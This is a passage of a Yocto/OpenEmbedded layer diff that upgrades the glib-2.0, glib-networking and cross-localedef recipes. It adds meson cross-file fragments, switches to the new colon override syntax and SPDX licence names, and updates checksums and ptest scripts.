+- if build_machine.system() == 'linux' and objcopy.found() and objcopy_supports_add_symbol and ld.found()
+ if not meson.is_cross_build()
test_gresource_binary = custom_target('test5.gresource',
input : 'test5.gresource.xml',
@@ -112,7 +110,7 @@ index 65f43e2..028b196 100644
'--target=@OUTPUT@',
'--sourcedir=' + meson.current_source_dir(),
'--sourcedir=' + meson.current_build_dir(),
-@@ -581,7 +583,7 @@ if not meson.is_cross_build() or meson.has_exe_wrapper()
+@@ -704,7 +704,7 @@ if not meson.is_cross_build() or meson.has_exe_wrapper()
test_resources_binary_c = custom_target('test_resources_binary.c',
input : 'test5.gresource.xml',
output : 'test_resources_binary.c',
diff --git a/meta/recipes-core/glib-2.0/glib-2.0/glib-meson.cross b/meta/recipes-core/glib-2.0/glib-2.0/glib-meson.cross
deleted file mode 100644
index b5df400727..0000000000
--- a/meta/recipes-core/glib-2.0/glib-2.0/glib-meson.cross
+++ /dev/null
@@ -1,9 +0,0 @@
-[properties]
-have_c99_vsnprintf = true
-have_c99_snprintf = true
-have_unix98_printf = true
-va_val_copy = true
-growing_stack = false
-
-[binaries]
-env = "/usr/bin/env"
diff --git a/meta/recipes-core/glib-2.0/glib-2.0/meson.cross.d/common b/meta/recipes-core/glib-2.0/glib-2.0/meson.cross.d/common
new file mode 100644
index 0000000000..0d7c5fa3f8
--- /dev/null
+++ b/meta/recipes-core/glib-2.0/glib-2.0/meson.cross.d/common
@@ -0,0 +1,3 @@
+[properties]
+# On all known supported architectures the stack grows down
+growing_stack = false
diff --git a/meta/recipes-core/glib-2.0/glib-2.0/meson.cross.d/common-glibc b/meta/recipes-core/glib-2.0/glib-2.0/meson.cross.d/common-glibc
new file mode 100644
index 0000000000..c4648f58c7
--- /dev/null
+++ b/meta/recipes-core/glib-2.0/glib-2.0/meson.cross.d/common-glibc
@@ -0,0 +1,5 @@
+[properties]
+have_c99_vsnprintf = true
+have_c99_snprintf = true
+have_unix98_printf = true
+va_val_copy = true
diff --git a/meta/recipes-core/glib-2.0/glib-2.0/meson.cross.d/common-linux b/meta/recipes-core/glib-2.0/glib-2.0/meson.cross.d/common-linux
new file mode 100644
index 0000000000..adad7e62ee
--- /dev/null
+++ b/meta/recipes-core/glib-2.0/glib-2.0/meson.cross.d/common-linux
@@ -0,0 +1,5 @@
+[properties]
+have_proc_self_cmdline = true
+
+[binaries]
+env = '/usr/bin/env'
diff --git a/meta/recipes-core/glib-2.0/glib-2.0/meson.cross.d/common-mingw b/meta/recipes-core/glib-2.0/glib-2.0/meson.cross.d/common-mingw
new file mode 100644
index 0000000000..75f911ba1e
--- /dev/null
+++ b/meta/recipes-core/glib-2.0/glib-2.0/meson.cross.d/common-mingw
@@ -0,0 +1,6 @@
+[properties]
+have_c99_vsnprintf = false
+have_c99_snprintf = false
+have_unix98_printf = false
+va_val_copy = true
+have_proc_self_cmdline = false
diff --git a/meta/recipes-core/glib-2.0/glib-2.0/meson.cross.d/common-musl b/meta/recipes-core/glib-2.0/glib-2.0/meson.cross.d/common-musl
new file mode 100644
index 0000000000..3049e5116e
--- /dev/null
+++ b/meta/recipes-core/glib-2.0/glib-2.0/meson.cross.d/common-musl
@@ -0,0 +1,6 @@
+[properties]
+have_c99_vsnprintf = true
+have_c99_snprintf = true
+have_unix98_printf = true
+va_val_copy = true
+have_strlcpy = true
diff --git a/meta/recipes-core/glib-2.0/glib-2.0/relocate-modules.patch b/meta/recipes-core/glib-2.0/glib-2.0/relocate-modules.patch
index 7e9925845b..d3bb05e669 100644
--- a/meta/recipes-core/glib-2.0/glib-2.0/relocate-modules.patch
+++ b/meta/recipes-core/glib-2.0/glib-2.0/relocate-modules.patch
@@ -1,4 +1,4 @@
-From 6325bf4e8a2f569c55c8e1a36b9439d3566f98f6 Mon Sep 17 00:00:00 2001
+From d4e95568151cb7a62b6a29a4d2c3f532fd55c98c Mon Sep 17 00:00:00 2001
From: Ross Burton <ross.burton@intel.com>
Date: Fri, 11 Mar 2016 15:35:55 +0000
Subject: [PATCH] glib-2.0: relocate the GIO module directory for native builds
@@ -19,20 +19,20 @@ Signed-off-by: Jussi Kukkonen <jussi.kukkonen@intel.com>
1 file changed, 11 insertions(+), 1 deletion(-)
diff --git a/gio/giomodule.c b/gio/giomodule.c
-index 1007abd..5380982 100644
+index d34037a..7442df6 100644
--- a/gio/giomodule.c
+++ b/gio/giomodule.c
-@@ -44,6 +44,8 @@
- #include "gnetworkmonitor.h"
+@@ -54,6 +54,8 @@
#ifdef G_OS_WIN32
#include "gregistrysettingsbackend.h"
+ #include "giowin32-priv.h"
+#else
+#include <dlfcn.h>
#endif
#include <glib/gstdio.h>
-@@ -1158,7 +1160,15 @@ get_gio_module_dir (void)
- #endif
+@@ -1224,7 +1226,15 @@ get_gio_module_dir (void)
+ NULL);
g_free (install_dir);
#else
- module_dir = g_strdup (GIO_MODULE_DIR);
diff --git a/meta/recipes-core/glib-2.0/glib-2.0/run-ptest b/meta/recipes-core/glib-2.0/glib-2.0/run-ptest
index fc50082c8e..7a231b514b 100644
--- a/meta/recipes-core/glib-2.0/glib-2.0/run-ptest
+++ b/meta/recipes-core/glib-2.0/glib-2.0/run-ptest
@@ -1,6 +1,9 @@
#! /bin/sh
set -eux
+if id -u glib2-test; then
+ userdel glib2-test
+fi
useradd glib2-test
su glib2-test -c 'gnome-desktop-testing-runner glib'
userdel glib2-test
diff --git a/meta/recipes-core/glib-2.0/glib-2.0_2.62.1.bb b/meta/recipes-core/glib-2.0/glib-2.0_2.62.1.bb
deleted file mode 100644
index 7897170a7d..0000000000
--- a/meta/recipes-core/glib-2.0/glib-2.0_2.62.1.bb
+++ /dev/null
@@ -1,24 +0,0 @@
-require glib.inc
-
-PE = "1"
-
-SHRT_VER = "${@oe.utils.trim_version("${PV}", 2)}"
-
-SRC_URI = "${GNOME_MIRROR}/glib/${SHRT_VER}/glib-${PV}.tar.xz \
- file://run-ptest \
- file://0001-Fix-DATADIRNAME-on-uclibc-Linux.patch \
- file://Enable-more-tests-while-cross-compiling.patch \
- file://0001-Remove-the-warning-about-deprecated-paths-in-schemas.patch \
- file://0001-Install-gio-querymodules-as-libexec_PROGRAM.patch \
- file://0001-Do-not-ignore-return-value-of-write.patch \
- file://0010-Do-not-hardcode-python-path-into-various-tools.patch \
- file://0001-Set-host_machine-correctly-when-building-with-mingw3.patch \
- file://0001-Do-not-write-bindir-into-pkg-config-files.patch \
- file://0001-meson-Run-atomics-test-on-clang-as-well.patch \
- "
-
-SRC_URI_append_class-native = " file://relocate-modules.patch"
-SRC_URI_append_class-target = " file://glib-meson.cross"
-
-SRC_URI[md5sum] = "64c14b4fe46c478992560c2f48a5b649"
-SRC_URI[sha256sum] = "3dd9024e1d0872a6da7ac509937ccf997161b11d7d35be337c7e829cbae0f9df"
diff --git a/meta/recipes-core/glib-2.0/glib-2.0_2.70.4.bb b/meta/recipes-core/glib-2.0/glib-2.0_2.70.4.bb
new file mode 100644
index 0000000000..704d428f04
--- /dev/null
+++ b/meta/recipes-core/glib-2.0/glib-2.0_2.70.4.bb
@@ -0,0 +1,54 @@
+require glib.inc
+
+PE = "1"
+
+SHRT_VER = "${@oe.utils.trim_version("${PV}", 2)}"
+
+SRC_URI = "${GNOME_MIRROR}/glib/${SHRT_VER}/glib-${PV}.tar.xz \
+ file://run-ptest \
+ file://0001-Fix-DATADIRNAME-on-uclibc-Linux.patch \
+ file://Enable-more-tests-while-cross-compiling.patch \
+ file://0001-Remove-the-warning-about-deprecated-paths-in-schemas.patch \
+ file://0001-Install-gio-querymodules-as-libexec_PROGRAM.patch \
+ file://0001-Do-not-ignore-return-value-of-write.patch \
+ file://0010-Do-not-hardcode-python-path-into-various-tools.patch \
+ file://0001-Set-host_machine-correctly-when-building-with-mingw3.patch \
+ file://0001-Do-not-write-bindir-into-pkg-config-files.patch \
+ file://0001-meson-Run-atomics-test-on-clang-as-well.patch \
+ file://0001-gio-tests-resources.c-comment-out-a-build-host-only-.patch \
+ file://0001-gio-tests-codegen.py-bump-timeout-to-100-seconds.patch \
+ "
+SRC_URI:append:class-native = " file://relocate-modules.patch"
+
+SRC_URI[sha256sum] = "ab3d176f3115dcc4e5d02db795984e04e4f4b48d836252e23e8c468e9d423c33"
+
+# Find any meson cross files in FILESPATH that are relevant for the current
+# build (using siteinfo) and add them to EXTRA_OEMESON.
+inherit siteinfo
+def find_meson_cross_files(d):
+ if bb.data.inherits_class('native', d):
+ return ""
+
+ thisdir = os.path.normpath(d.getVar("THISDIR"))
+ import collections
+ sitedata = siteinfo_data(d)
+ # filename -> found
+ files = collections.OrderedDict()
+ for path in d.getVar("FILESPATH").split(":"):
+ for element in sitedata:
+ filename = os.path.normpath(os.path.join(path, "meson.cross.d", element))
+ sanitized_path = filename.replace(thisdir, "${THISDIR}")
+ if sanitized_path == filename:
+ if os.path.exists(filename):
+ bb.error("Cannot add '%s' to --cross-file, because it's not relative to THISDIR '%s' and sstate signature would contain this full path" % (filename, thisdir))
+ continue
+ files[filename.replace(thisdir, "${THISDIR}")] = os.path.exists(filename)
+
+ items = ["--cross-file=" + k for k,v in files.items() if v]
+ d.appendVar("EXTRA_OEMESON", " " + " ".join(items))
+ items = ["%s:%s" % (k, "True" if v else "False") for k,v in files.items()]
+ d.appendVarFlag("do_configure", "file-checksums", " " + " ".join(items))
+
+python () {
+ find_meson_cross_files(d)
+}
diff --git a/meta/recipes-core/glib-2.0/glib.inc b/meta/recipes-core/glib-2.0/glib.inc
index 8b95f21204..6e20d40dac 100644
--- a/meta/recipes-core/glib-2.0/glib.inc
+++ b/meta/recipes-core/glib-2.0/glib.inc
@@ -4,12 +4,11 @@ HOMEPAGE = "https://developer.gnome.org/glib/"
# pcre is under BSD;
# docs/reference/COPYING is with a 'public domain'-like license!
-LICENSE = "LGPLv2.1+ & BSD & PD"
+LICENSE = "LGPL-2.1-or-later & BSD-3-Clause & PD"
LIC_FILES_CHKSUM = "file://COPYING;md5=4fbd65380cdd255951079008b364516c \
file://glib/glib.h;beginline=4;endline=17;md5=b88abb7f3ad09607e71cb9d530155906 \
file://gmodule/COPYING;md5=4fbd65380cdd255951079008b364516c \
file://gmodule/gmodule.h;beginline=4;endline=17;md5=b88abb7f3ad09607e71cb9d530155906 \
- file://glib/pcre/pcre.h;beginline=8;endline=36;md5=3e2977dae4ad05217f58c446237298fc \
file://docs/reference/COPYING;md5=f51a5100c17af6bae00735cd791e1fcc"
BUGTRACKER = "http://bugzilla.gnome.org"
SECTION = "libs"
@@ -22,82 +21,82 @@ DEPENDS = "glib-2.0-native \
virtual/libintl \
virtual/libiconv \
libffi \
+ libpcre \
zlib"
PACKAGES += "${PN}-codegen ${PN}-utils"
LEAD_SONAME = "libglib-2.0.*"
-inherit meson gettext gtk-doc pkgconfig ptest-gnome upstream-version-is-even bash-completion gio-module-cache manpages distro_features_check
+inherit meson gettext gtk-doc pkgconfig ptest-gnome upstream-version-is-even bash-completion gio-module-cache manpages
-GTKDOC_MESON_OPTION = "gtk_doc"
+DEPENDS:append:class-target = "${@' gtk-doc' if d.getVar('GTKDOC_ENABLED') == 'True' else ''}"
-# This avoids the need to depend on target python3, which in case of mingw is not even possible.
-# meson's python configuration pokes into python3 configuration, so this provides the native config to it.
-unset _PYTHON_SYSCONFIGDATA_NAME
+GTKDOC_MESON_OPTION = "gtk_doc"
S = "${WORKDIR}/glib-${PV}"
-PACKAGECONFIG ??= "system-pcre libmount \
+PACKAGECONFIG ??= "libmount \
${@bb.utils.contains('PTEST_ENABLED', '1', 'tests', '', d)}"
# To use the system pcre it must be configured with --enable-unicode-properties
-PACKAGECONFIG[system-pcre] = "-Dinternal_pcre=false,-Dinternal_pcre=true,libpcre"
-PACKAGECONFIG[libmount] = "-Dlibmount=true,-Dlibmount=false,util-linux"
+PACKAGECONFIG[libmount] = "-Dlibmount=enabled,-Dlibmount=disabled,util-linux"
PACKAGECONFIG[manpages] = "-Dman=true, -Dman=false, libxslt-native xmlto-native"
# libelf is auto-detected without a configuration option
PACKAGECONFIG[libelf] = ",,elfutils"
-PACKAGECONFIG[tests] = "-Dinstalled_tests=true,-Dinstalled_tests=false,dbus"
+PACKAGECONFIG[tests] = "-Dinstalled_tests=true,-Dinstalled_tests=false,"
+PACKAGECONFIG[selinux] = "-Dselinux=enabled,-Dselinux=disabled,libselinux"
-EXTRA_OEMESON = "-Ddtrace=false -Dfam=false -Dsystemtap=false -Dselinux=disabled"
-EXTRA_OEMESON_append_class-target = " --cross-file ${WORKDIR}/glib-meson.cross"
+EXTRA_OEMESON = "-Ddtrace=false -Dfam=false -Dsystemtap=false"
-do_configure_prepend() {
+do_configure:prepend() {
sed -i -e '1s,#!.*,#!${USRBINPATH}/env python3,' ${S}/gio/gdbus-2.0/codegen/gdbus-codegen.in
}
-FILES_${PN} = "${libdir}/lib*${SOLIBS} \
+FILES:${PN} = "${libdir}/lib*${SOLIBS} \
${libdir}/gio \
${libexecdir}/*gio-querymodules \
${datadir}/glib-2.0/schemas"
-FILES_${PN}-dev += "${libdir}/glib-2.0/include \
+
+FILES:${PN}-utils += "${bindir}/glib-genmarshal \
+ ${bindir}/glib-gettextize \
+ ${bindir}/glib-mkenums \
+ ${bindir}/glib-compile-resources"
+
+FILES:${PN}-dev += "${libdir}/glib-2.0/include \
${libdir}/gio/modules/lib*${SOLIBSDEV} \
${libdir}/gio/modules/*.la \
- ${bindir}/glib-genmarshal \
- ${bindir}/glib-gettextize \
- ${bindir}/glib-mkenums \
- ${bindir}/glib-compile-resources \
${datadir}/glib-2.0/gettext/po/Makefile.in.in \
${datadir}/glib-2.0/schemas/gschema.dtd \
${datadir}/glib-2.0/valgrind/glib.supp \
${datadir}/gettext/its"
-FILES_${PN}-dbg += "${datadir}/glib-2.0/gdb ${datadir}/gdb"
-FILES_${PN}-codegen = "${datadir}/glib-2.0/codegen/*.py \
+FILES:${PN}-dbg += "${datadir}/glib-2.0/gdb ${datadir}/gdb"
+FILES:${PN}-codegen = "${datadir}/glib-2.0/codegen/*.py \
${bindir}/gdbus-codegen"
-FILES_${PN}-utils = "${bindir}/*"
+FILES:${PN}-utils = "${bindir}/*"
SHAREDMIMEDEP = "shared-mime-info"
-SHAREDMIMEDEP_class-native = ""
+SHAREDMIMEDEP:class-native = ""
# When cross compiling for Windows we don't want to include this
-SHAREDMIMEDEP_mingw32 = ""
+SHAREDMIMEDEP:mingw32 = ""
-RRECOMMENDS_${PN} += "${SHAREDMIMEDEP}"
+RRECOMMENDS:${PN} += "${SHAREDMIMEDEP}"
-ARM_INSTRUCTION_SET_armv4 = "arm"
-ARM_INSTRUCTION_SET_armv5 = "arm"
+ARM_INSTRUCTION_SET:armv4 = "arm"
+ARM_INSTRUCTION_SET:armv5 = "arm"
# Valgrind runtime detection works using hand-written assembly, which
# doesn't support mips16e
-CPPFLAGS_append_class-target_mips16e = " -DNVALGRIND=1"
+CPPFLAGS:append:class-target:mips16e = " -DNVALGRIND=1"
# GLib generally requires gettext to be present so for USE_NLS to yes. For
# native builds as i18n is disabled globally we have to add a gettext-native dependency.
-USE_NLS_class-target = "yes"
-USE_NLS_class-nativesdk = "yes"
-DEPENDS_append_class-native = " gettext-native"
+USE_NLS:class-target = "yes"
+USE_NLS:class-nativesdk = "yes"
+DEPENDS:append:class-native = " gettext-native"
EXEEXT = ""
-EXEEXT_mingw32 = ".exe"
+EXEEXT:mingw32 = ".exe"
-do_install_append () {
+do_install:append () {
if [ -f ${D}${bindir}/gtester-report ]; then
sed ${D}${bindir}/gtester-report -i -e '1s|^#!.*|#!/usr/bin/env python3|'
fi
@@ -119,7 +118,7 @@ do_install_append () {
mkdir -p ${D}${libdir}/gio/modules
}
-do_install_append_class-target () {
+do_install:append:class-target () {
# Tests are only installed on targets, not native builds. Separating this out
# keeps glib-2.0-native from depending on DISTRO_FEATURES
if [ -f ${D}${datadir}/installed-tests/glib/gdbus-serialization.test ]; then
@@ -127,19 +126,26 @@ do_install_append_class-target () {
rm ${D}${datadir}/installed-tests/glib/gdbus-serialization.test
fi
fi
+ if [ -f ${D}${datadir}/installed-tests/glib/static-link.test ]; then
+ if test "x${MLPREFIX}" != "x"; then
+ mv ${D}${datadir}/installed-tests/glib/static-link.test ${D}${datadir}/installed-tests/glib/${MLPREFIX}static-link.test
+ fi
+ fi
}
# As we do not build python3 for windows, makes no sense to ship the script that's using it
-do_install_append_mingw32() {
+do_install:append:mingw32() {
rm -f ${D}${bindir}/gtester-report
}
CODEGEN_PYTHON_RDEPENDS = "python3 python3-distutils python3-xml"
-CODEGEN_PYTHON_RDEPENDS_mingw32 = ""
+CODEGEN_PYTHON_RDEPENDS:mingw32 = ""
+
+RDEPENDS:${PN}-codegen += "${CODEGEN_PYTHON_RDEPENDS}"
-RDEPENDS_${PN}-codegen += "${CODEGEN_PYTHON_RDEPENDS}"
+RDEPENDS:${PN}-ptest += "${PN}-utils"
-RDEPENDS_${PN}-ptest += "\
+RDEPENDS:${PN}-ptest += "\
coreutils \
libgcc \
dbus \
@@ -160,9 +166,11 @@ RDEPENDS_${PN}-ptest += "\
${PN}-locale-th \
python3-core \
python3-modules \
+ ${@bb.utils.contains('GI_DATA_ENABLED', 'True', 'python3-dbusmock', '', d)} \
+ ${PN}-codegen \
"
-RDEPENDS_${PN}-ptest_append_libc-glibc = "\
+RDEPENDS:${PN}-ptest:append:libc-glibc = "\
glibc-gconv-utf-16 \
glibc-charmap-utf-8 \
glibc-gconv-cp1255 \
diff --git a/meta/recipes-core/glib-networking/glib-networking/run-ptest b/meta/recipes-core/glib-networking/glib-networking/run-ptest
new file mode 100644
index 0000000000..6d520f94f6
--- /dev/null
+++ b/meta/recipes-core/glib-networking/glib-networking/run-ptest
@@ -0,0 +1,3 @@
+#! /bin/sh
+
+gnome-desktop-testing-runner glib-networking
diff --git a/meta/recipes-core/glib-networking/glib-networking_2.62.1.bb b/meta/recipes-core/glib-networking/glib-networking_2.62.1.bb
deleted file mode 100644
index 81d3fd43d9..0000000000
--- a/meta/recipes-core/glib-networking/glib-networking_2.62.1.bb
+++ /dev/null
@@ -1,34 +0,0 @@
-SUMMARY = "GLib networking extensions"
-DESCRIPTION = "glib-networking contains the implementations of certain GLib networking features that cannot be implemented directly in GLib itself because of their dependencies."
-HOMEPAGE = "https://gitlab.gnome.org/GNOME/glib-networking/"
-BUGTRACKER = "http://bugzilla.gnome.org"
-
-LICENSE = "LGPLv2.1"
-LIC_FILES_CHKSUM = "file://COPYING;md5=4fbd65380cdd255951079008b364516c"
-
-SECTION = "libs"
-DEPENDS = "glib-2.0"
-
-SRC_URI[archive.md5sum] = "64ca1e1e43e623b916059585bf7e4758"
-SRC_URI[archive.sha256sum] = "3c55ae6771ad7a79fa606a834f4686ed555c2774ed6e9ece6f3c0f6a3dab7110"
-
-PACKAGECONFIG ??= "gnutls"
-
-PACKAGECONFIG[gnutls] = "-Dgnutls=enabled,-Dgnutls=disabled,gnutls"
-PACKAGECONFIG[openssl] = "-Dopenssl=enabled,-Dopenssl=disabled,openssl"
-PACKAGECONFIG[libproxy] = "-Dlibproxy=enabled,-Dlibproxy=disabled,libproxy"
-
-EXTRA_OEMESON = "-Dgnome_proxy=disabled"
-
-GNOMEBASEBUILDCLASS = "meson"
-inherit gnomebase gettext upstream-version-is-even gio-module-cache
-
-FILES_${PN} += "\
- ${libdir}/gio/modules/libgio*.so \
- ${datadir}/dbus-1/services/ \
- ${systemd_user_unitdir} \
- "
-FILES_${PN}-dev += "${libdir}/gio/modules/libgio*.la"
-FILES_${PN}-staticdev += "${libdir}/gio/modules/libgio*.a"
-
-BBCLASSEXTEND = "native"
diff --git a/meta/recipes-core/glib-networking/glib-networking_2.70.1.bb b/meta/recipes-core/glib-networking/glib-networking_2.70.1.bb
new file mode 100644
index 0000000000..44bc08f159
--- /dev/null
+++ b/meta/recipes-core/glib-networking/glib-networking_2.70.1.bb
@@ -0,0 +1,38 @@
+SUMMARY = "GLib networking extensions"
+DESCRIPTION = "glib-networking contains the implementations of certain GLib networking features that cannot be implemented directly in GLib itself because of their dependencies."
+HOMEPAGE = "https://gitlab.gnome.org/GNOME/glib-networking/"
+BUGTRACKER = "http://bugzilla.gnome.org"
+
+LICENSE = "LGPL-2.1-only"
+LIC_FILES_CHKSUM = "file://COPYING;md5=4fbd65380cdd255951079008b364516c"
+
+SECTION = "libs"
+DEPENDS = "glib-2.0"
+
+SRC_URI[archive.sha256sum] = "2a16bfc2d271ccd3266e3fb462bc8a4103c02e81bbb339aa92d6fb060592d7bc"
+
+PACKAGECONFIG ??= "openssl ${@bb.utils.contains('PTEST_ENABLED', '1', 'tests', '', d)}"
+
+PACKAGECONFIG[gnutls] = "-Dgnutls=enabled,-Dgnutls=disabled,gnutls"
+PACKAGECONFIG[openssl] = "-Dopenssl=enabled,-Dopenssl=disabled,openssl"
+PACKAGECONFIG[libproxy] = "-Dlibproxy=enabled,-Dlibproxy=disabled,libproxy"
+PACKAGECONFIG[tests] = "-Dinstalled_tests=true,-Dinstalled_tests=false"
+
+EXTRA_OEMESON = "-Dgnome_proxy=disabled"
+
+GNOMEBASEBUILDCLASS = "meson"
+inherit gnomebase gettext upstream-version-is-even gio-module-cache ptest-gnome
+
+SRC_URI += "file://run-ptest"
+
+FILES:${PN} += "\
+ ${libdir}/gio/modules/libgio*.so \
+ ${datadir}/dbus-1/services/ \
+ ${systemd_user_unitdir} \
+ "
+FILES:${PN}-dev += "${libdir}/gio/modules/libgio*.la"
+FILES:${PN}-staticdev += "${libdir}/gio/modules/libgio*.a"
+
+RDEPENDS:${PN}-ptest += "bash"
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-core/glibc/cross-localedef-native_2.30.bb b/meta/recipes-core/glibc/cross-localedef-native_2.30.bb
deleted file mode 100644
index 29cd43e89a..0000000000
--- a/meta/recipes-core/glibc/cross-localedef-native_2.30.bb
+++ /dev/null
@@ -1,49 +0,0 @@
-SUMMARY = "Cross locale generation tool for glibc"
-HOMEPAGE = "http://www.gnu.org/software/libc/libc.html"
-SECTION = "libs"
-LICENSE = "LGPL-2.1"
-
-LIC_FILES_CHKSUM = "file://LICENSES;md5=cfc0ed77a9f62fa62eded042ebe31d72 \
- file://COPYING;md5=b234ee4d69f5fce4486a80fdaf4a4263 \
- file://posix/rxspencer/COPYRIGHT;md5=dc5485bb394a13b2332ec1c785f5d83a \
- file://COPYING.LIB;md5=4fbd65380cdd255951079008b364516c"
-
-require glibc-version.inc
-
-# Tell autotools that we're working in the localedef directory
-#
-AUTOTOOLS_SCRIPT_PATH = "${S}/localedef"
-
-inherit native
-inherit autotools
-
-FILESEXTRAPATHS =. "${FILE_DIRNAME}/${PN}:${FILE_DIRNAME}/glibc:"
-
-SRC_URI = "${GLIBC_GIT_URI};branch=${SRCBRANCH};name=glibc \
- git://github.com/kraj/localedef;branch=master;name=localedef;destsuffix=git/localedef \
- file://0016-timezone-re-written-tzselect-as-posix-sh.patch \
- file://0017-Remove-bash-dependency-for-nscd-init-script.patch \
- file://0018-eglibc-Cross-building-and-testing-instructions.patch \
- file://0019-eglibc-Help-bootstrap-cross-toolchain.patch \
- file://0020-eglibc-Clear-cache-lines-on-ppc8xx.patch \
- file://0021-eglibc-Resolve-__fpscr_values-on-SH4.patch \
- file://0022-eglibc-Forward-port-cross-locale-generation-support.patch \
- file://0023-Define-DUMMY_LOCALE_T-if-not-defined.patch \
- file://0024-localedef-add-to-archive-uses-a-hard-coded-locale-pa.patch \
- file://add-cross-localedef-hardlink.patch \
- file://allow-compile-separate-from-util-linux-hardlink.patch \
-"
-# Makes for a rather long rev (22 characters), but...
-#
-SRCREV_FORMAT = "glibc_localedef"
-
-S = "${WORKDIR}/git"
-
-EXTRA_OECONF = "--with-glibc=${S}"
-CFLAGS += "-fgnu89-inline -std=gnu99 -DIS_IN\(x\)='0'"
-
-do_install() {
- install -d ${D}${bindir}
- install -m 0755 ${B}/localedef ${D}${bindir}/cross-localedef
- install -m 0755 ${B}/cross-localedef-hardlink ${D}${bindir}/cross-localedef-hardlink
-}
diff --git a/meta/recipes-core/glibc/cross-localedef-native_2.35.bb b/meta/recipes-core/glibc/cross-localedef-native_2.35.bb
new file mode 100644
index 0000000000..b7b54e9ccc
--- /dev/null
+++ b/meta/recipes-core/glibc/cross-localedef-native_2.35.bb
@@ -0,0 +1,54 @@
+SUMMARY = "Cross locale generation tool for glibc"
+HOMEPAGE = "http://www.gnu.org/software/libc/libc.html"
+SECTION = "libs"
+LICENSE = "LGPL-2.1-only"
+
+LIC_FILES_CHKSUM = "file://LICENSES;md5=1541fd8f5e8f1579512bf05f533371ba \
+ file://COPYING;md5=b234ee4d69f5fce4486a80fdaf4a4263 \
+ file://posix/rxspencer/COPYRIGHT;md5=dc5485bb394a13b2332ec1c785f5d83a \
+ file://COPYING.LIB;md5=4fbd65380cdd255951079008b364516c"
+
+require glibc-version.inc
+
+# Tell autotools that we're working in the localedef directory
+#
+AUTOTOOLS_SCRIPT_PATH = "${S}/localedef"
+
+inherit autotools
+inherit native
+
+FILESEXTRAPATHS =. "${FILE_DIRNAME}/${PN}:${FILE_DIRNAME}/glibc:"
+
+SRC_URI = "${GLIBC_GIT_URI};branch=${SRCBRANCH};name=glibc \
+ git://github.com/kraj/localedef;branch=master;name=localedef;destsuffix=git/localedef;protocol=https \
+ \
+ file://0001-localedef-Add-hardlink-resolver-from-util-linux.patch \
+ file://0002-localedef-fix-ups-hardlink-to-make-it-compile.patch \
+ \
+ file://0010-eglibc-Cross-building-and-testing-instructions.patch \
+ file://0011-eglibc-Help-bootstrap-cross-toolchain.patch \
+ file://0012-eglibc-Resolve-__fpscr_values-on-SH4.patch \
+ file://0013-eglibc-Forward-port-cross-locale-generation-support.patch \
+ file://0014-localedef-add-to-archive-uses-a-hard-coded-locale-pa.patch \
+ file://0021-Replace-echo-with-printf-builtin-in-nscd-init-script.patch \
+ file://0023-timezone-Make-shell-interpreter-overridable-in-tzsel.patch \
+ "
+# Makes for a rather long rev (22 characters), but...
+#
+SRCREV_FORMAT = "glibc_localedef"
+
+S = "${WORKDIR}/git"
+
+EXTRA_OECONF = "--with-glibc=${S}"
+
+# We do not need bash to run tzselect script, the default is to use
+# bash but it can be configured by setting KSHELL Makefile variable
+EXTRA_OEMAKE += "KSHELL=/bin/sh"
+
+CFLAGS += "-fgnu89-inline -std=gnu99 -DIS_IN\(x\)='0'"
+
+do_install() {
+ install -d ${D}${bindir}
+ install -m 0755 ${B}/localedef ${D}${bindir}/cross-localedef
+ install -m 0755 ${B}/cross-localedef-hardlink ${D}${bindir}/cross-localedef-hardlink
+}
diff --git a/meta/recipes-core/glibc/glibc-collateral.inc b/meta/recipes-core/glibc/glibc-collateral.inc
index 52880791a7..4f81f07da7 100644
--- a/meta/recipes-core/glibc/glibc-collateral.inc
+++ b/meta/recipes-core/glibc/glibc-collateral.inc
@@ -1,7 +1,7 @@
require glibc-common.inc
-LIC_FILES_CHKSUM = "file://${COMMON_LICENSE_DIR}/GPL-2.0;md5=801f80980d171dd6425610833a22dbe6 \
- file://${COMMON_LICENSE_DIR}/LGPL-2.1;md5=1a6d268fd218675ffea8be556788b780"
+LIC_FILES_CHKSUM = "file://${COMMON_LICENSE_DIR}/GPL-2.0-only;md5=801f80980d171dd6425610833a22dbe6 \
+ file://${COMMON_LICENSE_DIR}/LGPL-2.1-only;md5=1a6d268fd218675ffea8be556788b780"
deltask do_fetch
deltask do_unpack
diff --git a/meta/recipes-core/glibc/glibc-common.inc b/meta/recipes-core/glibc/glibc-common.inc
index fa46fd89f1..90a6a534f3 100644
--- a/meta/recipes-core/glibc/glibc-common.inc
+++ b/meta/recipes-core/glibc/glibc-common.inc
@@ -2,9 +2,9 @@ SUMMARY = "GLIBC (GNU C Library)"
DESCRIPTION = "The GNU C Library is used as the system C library in most systems with the Linux kernel."
HOMEPAGE = "http://www.gnu.org/software/libc/libc.html"
SECTION = "libs"
-LICENSE = "GPLv2 & LGPLv2.1"
+LICENSE = "GPL-2.0-only & LGPL-2.1-only"
-LIC_FILES_CHKSUM ?= "file://LICENSES;md5=cfc0ed77a9f62fa62eded042ebe31d72 \
+LIC_FILES_CHKSUM ?= "file://LICENSES;md5=1541fd8f5e8f1579512bf05f533371ba \
file://COPYING;md5=b234ee4d69f5fce4486a80fdaf4a4263 \
file://posix/rxspencer/COPYRIGHT;md5=dc5485bb394a13b2332ec1c785f5d83a \
file://COPYING.LIB;md5=4fbd65380cdd255951079008b364516c"
@@ -13,13 +13,13 @@ CVE_PRODUCT = "glibc"
INHIBIT_DEFAULT_DEPS = "1"
-ARM_INSTRUCTION_SET_armv4 = "arm"
-ARM_INSTRUCTION_SET_armv5 = "arm"
-ARM_INSTRUCTION_SET_armv6 = "arm"
+ARM_INSTRUCTION_SET:armv4 = "arm"
+ARM_INSTRUCTION_SET:armv5 = "arm"
+ARM_INSTRUCTION_SET:armv6 = "arm"
#
# We will skip parsing glibc when target system C library selection is not glibc
# this helps in easing out parsing for non-glibc system libraries
#
-COMPATIBLE_HOST_libc-musl_class-target = "null"
+COMPATIBLE_HOST:libc-musl:class-target = "null"
-PV = "2.30"
+PV = "2.35"
diff --git a/meta/recipes-core/glibc/glibc-ld.inc b/meta/recipes-core/glibc/glibc-ld.inc
index 041ffbb9cb..da8fcc430b 100644
--- a/meta/recipes-core/glibc/glibc-ld.inc
+++ b/meta/recipes-core/glibc/glibc-ld.inc
@@ -16,5 +16,5 @@ def glibc_dl_info(d):
EGLIBC_KNOWN_INTERPRETER_NAMES = "${@glibc_dl_info(d)['ldconfig']}"
RTLDLIST = "${@glibc_dl_info(d)['lddrewrite']}"
